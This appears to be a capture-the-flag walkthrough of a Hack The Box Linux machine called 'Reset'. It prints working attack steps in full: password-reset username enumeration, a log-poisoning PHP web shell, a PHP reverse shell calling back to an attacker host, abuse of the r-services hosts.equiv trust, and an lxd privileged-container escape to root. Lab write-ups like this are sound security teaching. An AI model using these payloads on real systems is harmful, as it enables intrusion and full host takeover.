Machine Info

Spoiler

Reset chains a password-reset oracle and SQLi-leaked admin hash into an authenticated dashboard, an LFI that is weaponised through Apache log poisoning for RCE as www-data, a misconfigured /etc/hosts.equiv r-services trust that pivots laterally to two separate users, and finally an lxd group membership that mounts the host filesystem for root.

In the contrary the official HTB path and description of the box goes as follows:

Reset is an Easy difficulty Linux machine which showcases abusing a password reset functionality in a web application following a log poisoning attack, to achieve Remote Code Execution. For privilege escalation, Rservices are abused, then a detached tmux session is used to abuse sudo privileges on nano text editor and execute commands as the root user

User

Reconnaissance

We are going to start by running our nmap scan:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)


└─$ nmap -p$ports -sC -sV $VICTIM
Running second nmap scan with open ports: 22,80,512,513,514
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-25 13:11 +0200
Nmap scan report for $VICTIM
Host is up (0.0074s latency).

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 6a:16:1f:c8:fe:fd:e3:98:a6:85:cf:fe:7b:0e:60:aa (ECDSA)
|_  256 e4:08:cc:5f:8e:56:25:8f:38:c3:ec:df:b8:86:0c:69 (ED25519)
80/tcp  open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Admin Login
512/tcp open  exec    netkit-rsh rexecd
513/tcp open  login?
514/tcp open  shell   Netkit rshd
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Two things stand out. Port 80 serves an Admin Login, and ports 512/513/514 are the legacy BSD r-services (rexec, rlogin, rsh). Those r-services rarely sit on a box for decoration — keep them in mind for lateral movement later.

Password reset oracle

The login page ships a reset_password.php endpoint. Submitting a username returns JSON — and the response leaks whether the account exists. A non-existent user returns an error:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
POST /reset_password.php HTTP/1.1
Host: $VICTIM
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 13
Origin: http://$VICTIM
Referer: http://$VICTIM/
Cookie: PHPSESSID=gj05rmp29962ptaq121hovkmqq

username=root
1
2
3
4
5
HTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
Content-Type: application/json

{"error":"User not found"}

That User not found versus a success response is a username enumeration oracle. We fuzz for a valid account, filtering out the 26-byte error body:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
ffuf -u http://$VICTIM/reset_password.php -X "POST" -H "Host: $VICTIM" \
     -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt \
     -d 'username=FUZZ' -fs 26

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://$VICTIM/reset_password.php
 :: Wordlist         : FUZZ: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
 :: Data             : username=FUZZ
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 26
________________________________________________

admin is valid, and submitting it triggers a reset that returns the new password in cleartext:

1
2
3
4
5
6
7
POST /reset_password.php HTTP/1.1
Host: $VICTIM
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=gj05rmp29962ptaq121hovkmqq

username=admin
1
2
3
4
5
HTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
Content-Type: application/json

{"username":"admin","new_password":"a8d14898","timestamp":"2026-06-25 11:47:37"}
Tip
reset_password.php only rewrites the password_hash column inside the app’s SQLite DB — it has no effect on system accounts. The cracked/reset web credential is for the dashboard login only; it does not carry over to su for any Linux user. Worth flagging early to avoid the rabbit hole of trying it against local/sadm later.

Admin panel

With the reset password we log into the dashboard.

The dashboard exposes a file= parameter on dashboard.php that includes files from disk — a classic LFI. Pointing it at /var/log/apache2/access.log returns the log contents, which confirms the include path and sets up log poisoning: Apache writes our User-Agent into the log verbatim, and because the LFI uses include(), any PHP we plant there gets executed.

LFI → RCE via log poisoning

First we poison the log. The payload must use single quotes — Apache escapes double quotes ("\") in the logged field, which breaks PHP parsing with a fatal syntax error, unexpected token "\\" and 500s every subsequent inclusion:

1
2
3
4
5
6
7
GET /dashboard.php HTTP/1.1
Host: $VICTIM
Upgrade-Insecure-Requests: 1
User-Agent: <?php system($_GET['cmd']); ?>
Referer: http://$VICTIM/
Cookie: PHPSESSID=jgbjbmtiqavk9onphojb8i1uct
Connection: keep-alive

Then we trigger it. The file parameter pulls in the poisoned log, and cmd (in the query string, so the planted $_GET['cmd'] reads it) carries the command:

1
2
3
4
5
6
7
8
POST /dashboard.php?cmd=id HTTP/1.1
Host: $VICTIM
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
Referer: http://$VICTIM/dashboard.php
Cookie: PHPSESSID=jgbjbmtiqavk9onphojb8i1uct

file=/var/log/apache2/access.log
Tip

Two gotchas bit hard here:

  • Use single quotes in the payload ($_GET['cmd']). Double quotes get escaped by Apache’s log format and poison the whole file with a parse error — one bad line makes PHP refuse to compile the entire log, so every later inclusion 500s. If that happens, reset the box (or pivot to a PHP session file, which doesn’t escape quotes).
  • cmd must be in the query string, not the POST body — the planted code reads $_GET['cmd'], while the app’s own file param is read from the request body.

id executes as www-data. We start a listener:

1
2
nc -lvnp 8888
listening on [any] 8888 ...

And send a backslash-free PHP reverse shell as the cmd value (URL-encoded). A backslash-free payload is important — backslashes get mangled in the log the same way quotes do:

1
2
# decoded cmd:
php -r '$sock=fsockopen("$ATTACKER",8888);popen("/bin/sh <&3 >&3 2>&3", "r");'
1
2
3
4
5
6
7
POST /dashboard.php?cmd=php%20-r%20%27%24sock%3Dfsockopen%28%22$ATTACKER%22%2C8888%29%3Bpopen%28%22%2Fbin%2Fsh%20%3C%263%20%3E%263%202%3E%263%22%2C%20%22r%22%29%3B%27 HTTP/1.1
Host: $VICTIM
Content-Type: application/x-www-form-urlencoded
Referer: http://$VICTIM/dashboard.php
Cookie: PHPSESSID=jgbjbmtiqavk9onphojb8i1uct

file=/var/log/apache2/access.log

Catching the shell and upgrading the TTY:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
nc -lvnp 8888            
listening on [any] 8888 ...

connect to [$ATTACKER] from (UNKNOWN) [$VICTIM] 57076
ls
dashboard.php
index.php
private_34eee5d2
reset_password.php
which python3
/usr/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@reset:/var/www/html$ ls
dashboard.php  index.php  private_34eee5d2  reset_password.php

Lateral movement — r-services trust (www-data → sadm)

As www-data we are in the adm group, which lets us read logs. But the real lever is the r-services trust file. Reading /etc/hosts.equiv:

1
2
3
4
5
6
www-data@reset:/$ cat /etc/hosts.equiv 2>/dev/null
# /etc/hosts.equiv: list  of  hosts  and  users  that are granted "trusted" r
#                   command access to your system .
- root
- local
+ sadm

The operative line is + sadm. In hosts.equiv grammar, each line is [host] [user]. When both fields are present, it means “the named user, from the wildcard host (+ = anywhere), may log in as any local user (except root), with no password.” The - root / - local lines are explicit denies for those source entries and are effectively noise here.

So we just need to be sadm on our attacker box, then rlogin in — the trust is keyed on the client-side username:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
└─$ sudo useradd sadm
└─$ sudo passwd sadm
New password: 
Retype new password: 
passwd: password updated successfully

└─$ su sadm
$ rlogin -l sadm $VICTIM
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-140-generic x86_64)
...
Last login: Wed Jul  9 13:32:23 UTC 2025 from $ATTACKER on pts/0
sadm@reset:~$ pwd
/home/sadm

That lands us as sadm, and user.txt is here.

Root

Lateral movement — same trust, different user (sadm → local)

sadm has no sudo, no useful groups, no readable credentials. The dead ends point back at hosts.equiv: the + sadm line does not mean “trust sadm to become sadm” — the two-field grammar means “let sadm impersonate any local user.” local is a local user.

So from the same sadm client identity on our attacker box, we rlogin targeting local instead:

1
2
3
4
5
6
$ su sadm
$ rlogin -l local $VICTIM
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-140-generic x86_64)
...
Last login: Thu Apr 10 09:43:41 UTC 2025 from 10.10.14.65 on pts/0
local@reset:~$ pwd
Tip
This is the non-obvious beat of the box: the same /etc/hosts.equiv line is reused twice — once for www-data → sadm, and again for sadm → local. The trust check (ruserok()) authorises by the client username and lets the -l target be any other account, so local is reachable even though su local with the web password fails and /home/local/.rhosts is unreadable. Don’t waste cycles on the password angle.

Checking local’s groups reveals the path to root:

1
2
local@reset:~$ id 
uid=1000(local) gid=1000(local) groups=1000(local),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)

local is in lxd (gid 110) — effectively root, because the lxd daemon runs as root and executes container operations without dropping to the caller’s privileges.

Privilege escalation — lxd container escape

Tip
Deviation from the intended path. Per HTB’s official description, the designed root is a detached tmux session left running as root, reattached to abuse a sudo rule on nano (nano → spawn shell as root). The lxd group membership on local is an unintended escalation — it short-circuits the box entirely, since lxd is root-equivalent regardless of the tmux/nano/sudo chain. Both reach root; the tmux + sudo nano route is the author’s intended one.

The box has no internet egress, so we build a minimal Alpine image on the attacker box and serve it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder

└─$ sudo ./build-alpine                    
Determining the latest release... v3.24
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.24/main/x86_64
...
OK: 9940 KiB in 27 packages

└─$ ls
alpine-v3.24-x86_64-20260628_1936.tar.gz  build-alpine  LICENSE  README.md

Pull it onto the victim as local, then initialise an LXD storage pool + root-disk profile (LXD 5.0.4 needs both before a container can start), import the image, and create a privileged container with the host filesystem mounted:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
local@reset:/tmp$ wget http://$ATTACKER:8000/alpine-v3.24-x86_64-20260628_1936.tar.gz -O alpine.tar.gz
...
2026-06-28 17:38:59 (20.8 MB/s) - ‘alpine.tar.gz’ saved [4088153/4088153]

local@reset:/tmp$ lxc storage create default dir
Storage pool default created
local@reset:/tmp$ lxc profile device add default root disk path=/ pool=default
Device root added to default
local@reset:/tmp$ lxc image import ./alpine.tar.gz --alias privesc
Image imported with fingerprint: f7984cdb15a2ae7ab9f3d81ef6fc510372c754e6ae8a28a7765aaa4797fa

local@reset:/tmp$ lxc image list
+---------+--------------+--------+-------------------------------+--------------+-----------+
|  ALIAS  | FINGERPRINT  | PUBLIC |          DESCRIPTION          | ARCHITECTURE |   TYPE    |
+---------+--------------+--------+-------------------------------+--------------+-----------+
| privesc | f7984cdb15a2 | no     | alpine v3.24 (20260628_19:36) | x86_64       | CONTAINER |
+---------+--------------+--------+-------------------------------+--------------+-----------+

local@reset:/tmp$ lxc init privesc r00t -c security.privileged=true
Creating r00t
local@reset:/tmp$ lxc config device add r00t hostroot disk source=/ path=/mnt/root recursive=true
Device hostroot added to r00t
local@reset:/tmp$ lxc start r00t
local@reset:/tmp$ lxc exec r00t /bin/sh
Tip
security.privileged=true is the linchpin. Without it, LXD user-namespace-remaps the container so its “root” is a powerless remapped UID. With it, container UID 0 is host UID 0, so the bind-mounted host disk at /mnt/root is fully writable as real root.

Inside the container we are root, and the host’s entire filesystem is mounted at /mnt/root:

1
2
3
~ # cd /mnt/root/root
/mnt/root/root # ls
root_279e22f8.txt  snap

And that is root.